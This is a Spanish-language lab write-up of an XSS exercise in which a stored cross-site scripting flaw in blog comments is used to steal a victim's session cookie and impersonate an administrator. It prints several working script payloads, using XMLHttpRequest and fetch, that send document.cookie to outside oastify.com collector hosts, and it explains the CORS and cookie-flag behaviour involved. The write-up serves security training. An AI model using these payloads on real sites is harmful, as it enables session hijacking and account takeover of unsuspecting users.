Entrada

XSS Lab 22

XSS Lab 22

Skills

  • Exploiting cross-site scripting to steal cookies

    Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de stored XSS en la función de comentarios del blog. Un usuario víctima simulado ve todos los comentarios después de que se publiquen. Para resolver el laboratorio, debemos explotar la vulnerabilidad para exfiltrar la cookie de sesión de la víctima, luego usar esta cookie para suplantar a la víctima


Resolución

Al acceder a la web nos sale esto

Si pulsamos sobre View post vemos que tenemos una sección en la que podemos hacer comentarios

Al hacer un comentario nos mete el input en unas etiquetas <p></p>

Sin embargo, si intentamos inyectar algo entre etiquetas <h1></h1> vemos que nos inyecta las etiquetas con su contenido y deja las <p></p> vacías

Hay diferentes opciones para obtener la cookie, podemos utilizar fetch con las opciones CORS o no-cors o usando el método GET o POST. Luego tenemos a XMLHTTPRequest, con el cual podemos hacer tanto peticiones GET como POST, pero no podemos especificar la opción no-cors, es decir, siempre se tendrá en cuenta el CORS https://developer.mozilla.org/es/docs/Web/HTTP/CORS

El CORS es un mecanismo basado en cabeceras HTTP que permite a un servidor indicar cualquier dominio, esquema o puerto con un origen distinto del suyo desde el que un navegador debería permitir la carga de recursos. CORS también se basa en un mecanismo por el cual los navegadores realizan una solicitud de verificación previa al servidor que aloja el CORS, con el fin de comprobar que el servidor permitirá la solicitud real. En esa comprobación previa, el navegador envía cabeceras que indican el método HTTP y las cabeceras que se utilizarán en la solicitud real

Un ejemplo de CORS sería el código JavaScript del front-end, desde http://domain-a.com utiliza XMLHTTPRequest para realizar una solicitud a http://domain-b.com/data.json

Por razones de seguridad, los navegadores restringen las peticiones HTTP de origen cruzado iniciadas desde scripts. Por ejemplo, XMLHTTPRequest y la API Fetch siguen la Política Same-origin. Esto significa que una aplicación web que utilice esas API solo puede solicitar recursos del mismo origen desde el que se cargó la aplicación, a menos que la respuesta de otros orígenes incluya las cabeceras CORS adecuadas

En esta primera petición estamos mandando una petición con el método POST y es una petición asíncrona, es decir, las operaciones pueden ejecutarse en paralelo o en segundo plano. El programa no espera a que una tarea termine para continuar con la siguiente, lo que permite que se realicen múltiples operaciones simultáneamente

1
2
3
4
5
6
7
<script>
    var request = new XMLHttpRequest();
    request.open('POST', 'http://lf4spwr5be5vcxtn56uquhp4yv4qsgg5.oastify.com', true);
    request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    var data = 'cookie=' + encodeURIComponent(document.cookie);
    request.send(data);
</script>

En este caso la petición se realiza por el método GET y es síncrona, lo cual quiere decir que el programa se bloquea hasta que esa tarea se complete, lo que significa que no puede hacer nada más mientras espera

1
2
3
4
5
<script>
    var request = new XMLHttpRequest();
    request.open('GET', 'http://gk4nurw0g9aqhsyia1zlzcuz3q9lxcl1.oastify.com/cookie=' + encodeURIComponent(document.cookie), false);
    request.send();
</script>

Con fetch, a diferencia de XMLHTTPRequest podemos especificar también si usamos CORS o no. El modo no-cors tiene la ventaja de poder enviar una solicitud a un servidor que no esté configurado para permitir solicitudes de otros orígenes (por ejemplo, un servidor en un dominio diferente) y también tiene una desventaja, restringe el acceso a la respuesta, por lo cual no podremos leer ni manipular los datos que el servidor envíe de vuelta

1
2
3
4
5
6
7
<script>
    fetch('http://gk4nurw0g9aqhsyia1zlzcuz3q9lxcl1.oastify.com', {
        method: 'POST',
        mode: 'no-cors',
        body: encodeURIComponent(document.cookie)
    });
</script>

En este caso estamos usando el método GET y siguiendo las convenciones de CORS, ya que es el modo por defecto. En este caso tenemos dos formas de transmitir la petición usando el método GET, si queremos especificar que no queremos usar CORS lo hacemos de esta forma

1
2
3
4
5
6
<script>
  fetch("http://0vw75b7krtlasc92lla5aw5jeaka8cw1.oastify.com?cookie=" + encodeURIComponent(document.cookie), {
    method: 'GET',
    mode: 'no-cors'
  });
</script>

Si no necesitamos especificar un modo podemos usar esta otra forma que seguirá las directivas CORS por defecto

1
2
3
<script>
    fetch('http://vut2466fqok5r78xkg909r4ed5j77xvm.oastify.com?cookie=' + encodeURIComponent(document.cookie));
</script>

Es importante realizar las peticiones a un servidor mediante HTTPS y no HTTP en este caso. Si usamos este payload la petición será bloqueada y no nos llegará nada a nuestro servidor de Burpsuite Collaborator

1
2
3
<script>
    fetch('http://vut2466fqok5r78xkg909r4ed5j77xvm.oastify.com?cookie=' + encodeURIComponent(document.cookie));
</script>

Si nos abrimos el inspector de Chrome y vemos que la flag Secure está seteada en la cookie, esta flag asegura que la cookie solo se enviará a través de conexiones seguras (HTTPS). Es una medida de seguridad para evitar que las cookies sean transmitidas a través de conexiones no seguras (HTTP), donde podrían ser interceptadas por un atacante. A pesar de tener esta flag, seguimos pudiendo obtener esta cookie mediante XSS debido a que la flag HttpOnly no está seteada. Esta flag se encarga de impedir que la cookie sea accesible a través de JavaScript. Si una cookie tiene ambas flags (HttpOnly y Secure), no podremos acceder a ella a través de JavaScript aunque se transmita solo por HTTPS y tendremos que buscar formas alternativas

Si nos abrimos la consola de desarrollador vemos como la petición ha sido bloqueada por no ser una petición a un servidor que soporte HTTPS. El error Mixed Content, ocurre cuando una página web cargada a través de HTTPS intenta hacer una solicitud a un recurso a través de HTTP. Esto es considerado inseguro y, por lo tanto, el navegador bloquea la solicitud para proteger la seguridad y la privacidad de la web

Para resolver el laboratorio debemos irnos a Burpsuite Collaborator, pulsar en copy to clipboard, sustituir este subdominio en alguno de los cuatro tipos de payloads explicados anteriormente y enviarlo a través de un comentario

Como hay un usuario revisando nuestro comentarios, en el momento en el que entre al post donde se encuentra publicado nuestro comentario nos mandará a Burpsuite Collaborator sus cookies

Teniendo las cookies del usuario administrador, nos debemos ir al navegador, pulsar Ctrl + Shift + i para que nos abra el inspector de Chrome, sustituir la cookie y refrescar la web pulsando F5

Si pulsamos en My account vemos que nos hemos convertido en el usuario administrator

Esta entrada está licenciada bajo CC BY 4.0 por el autor.